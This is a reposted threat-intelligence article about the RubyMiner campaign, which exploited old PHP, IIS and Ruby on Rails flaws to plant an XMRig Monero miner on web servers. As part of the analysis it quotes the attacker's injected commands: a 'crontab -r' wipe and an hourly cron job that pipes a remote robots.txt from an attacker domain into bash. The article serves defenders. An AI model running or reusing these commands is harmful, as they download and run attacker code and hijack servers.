RubyMiner Attempts Compromise on 30% of WWW in 24 Hours

[straycat19]

In the last 24 hours, 30% of networks worldwide have experienced compromise attempts by a crypto-miner targeting web servers.

 

During that period, the lone attacker attempted to exploit 30% of all networks worldwide to find vulnerable web servers in order to mobilize them to his mining pool. Among the top countries targeted are the United States, Germany, United Kingdom, Norway and Sweden, though no country has gone unscathed.

 

With the growing popularity of virtual currency and its increasing value, the methods for mining these coins has grown as well.

 

In 2017, usage of everyday websites for the mining of various cryptocurrencies became popular, with thousands of them being utilized for their CPU power.

 

Having entered 2018, it seems that actors are again attempting to recruit any available machine for the sole purpose of self-profit. What was previously seen as a minor annoyance has turned into a huge wave of attack attempts across the globe, for it seems attackers are no longer satisfied with just personal computers and are now targeting powerful web servers to increase their computational resources.

 

With a new attack vector, aiming to install a Monero miner on web servers, the attacker in this case was looking to get more bang for his buck by using the extended computation power of web servers.

 

Surprisingly, by using old vulnerabilities published and patched in 2012 and 2013, it doesn’t seem that stealth was part of the attacker’s agenda either. Instead, the attacker chose to exploit multiple vulnerabilities in HTTP web servers, to distribute an open source Monero miner – XMRig.

 

In fact, XMRig usually sends a donation of 5% of the revenue gained from the mining process to the code’s author. However, even this amount was too much for the attacker to part with as that ‘donation element’ was deleted from the code, giving the enthusiast 100% of the profit.

 

Up to the moment of publication, approximately 700 servers worldwide have been successfully enslaved to this mining pool, making our villain for now only $540 richer…but this is just day one.

 

The Infection Chain

As monitored by our sensors and honey-pots, the attacker attempts to use multiple web server vulnerabilities to inject the malicious code onto the vulnerable machines.

 

Among the targeted servers we found attacks on PHP, Microsoft IIS, and Ruby on Rails.

 

Looking into Figure 2, we see an attempt to infect a PHP server, in order to inject the code and download the final payload.

Figure 2: PHP servers attack vector

 

The POST method is used to inject the malicious PHP snippet, which we will analyze shortly, and allows the crypto miner to start running.

 

Aside from that, the actor has also made use of known vulnerabilities within Ruby on Rails and Microsoft IIS. The Ruby on Rails base64 encoded attack vector exploits CVE-2013-0156 and can be found below.

Figure 3: Ruby on Rails attack vector

 

Just like we saw in the first PHP attack, the Ruby on Rails exploit is also using a POST method to inject its code onto the server. While the body of the text may look different than the first, it is in fact the same line of code, only encoded in Base64 as an attempt to avoid detection. Once the vulnerability has been exploited the code can start running.

 

Injected Code Analysis

 

Now that the injection has made its way onto the server, let’s analyze the different parts of the code.

 

crontab –r

 

The cron is a UNIX based scheduler which allows running scheduled tasks at fixed times via its own syntax. Running the crontab command with the –r argument will remove all existing tasks in the existing crontab and allow for the miner to take full priority.

 

echo “1 * * * * wget -q -O – http://internetresearch.is/robots.txt 2>/dev/null|bash >/dev/null 2>&1″|crontab –   

 

Now the attacker can inject the new job to the clean crontab file using the “1 * * * *” which will tell the scheduler to run once an hour for one minute infinitely.

 

The new job will download and execute the “robots.txt” file hosted on “internetresearch.is.” and the mining process can begin.

It is interesting to note that the scheduler isn’t just being told to run the mining process every hour, it is being told to run the whole process, which includes downloading the file from the server.

 

This is possibly to allow the attacker to initiate an immediate kill switch for the miner bot. If the attacker would like to end the process on the infected machines, all that needs to be done is modify the robots.txt file on the compromised webserver to be inactive. Within a minute, all the machines re-downloading the file will be receiving files without the crypto miners.

 

Weaponization

 

Many websites contain the robots.txt file to give instructions to various web robots scouring the internet. The web robots will then read the robots.txt file and make decisions about the site based on that file.

 

This process is called the Robots Exclusion Protocol.

 

This simply tells the web robot that it shouldn’t be looking in specific locations on the site.

 

However, as seen in the current campaign the file looks far more ominous.

Figure 4: Normal robots.txt vs robots.txt seen in the campaign

 

This previously benign file now contains a host of malicious code meant to carry out the attacker’s commands.

 

One of the domains used in this attack, lochjol.com, was seen being used in another attack back in 2013. The previous attack also leveraged the vulnerability in Ruby on Rails, and shares some common features with the current attack. Nonetheless, we cannot determine the connection between the two, and, even if they share a common attacker, their purposes seem to be different.

 

In 2018, as in 2017, we continue to see blitz campaigns, leveraging unpatched vulnerabilities in many networks. This attack, like its predecessors, could have been prevented by simply patching old servers and deploying relevant security measures.

 

Article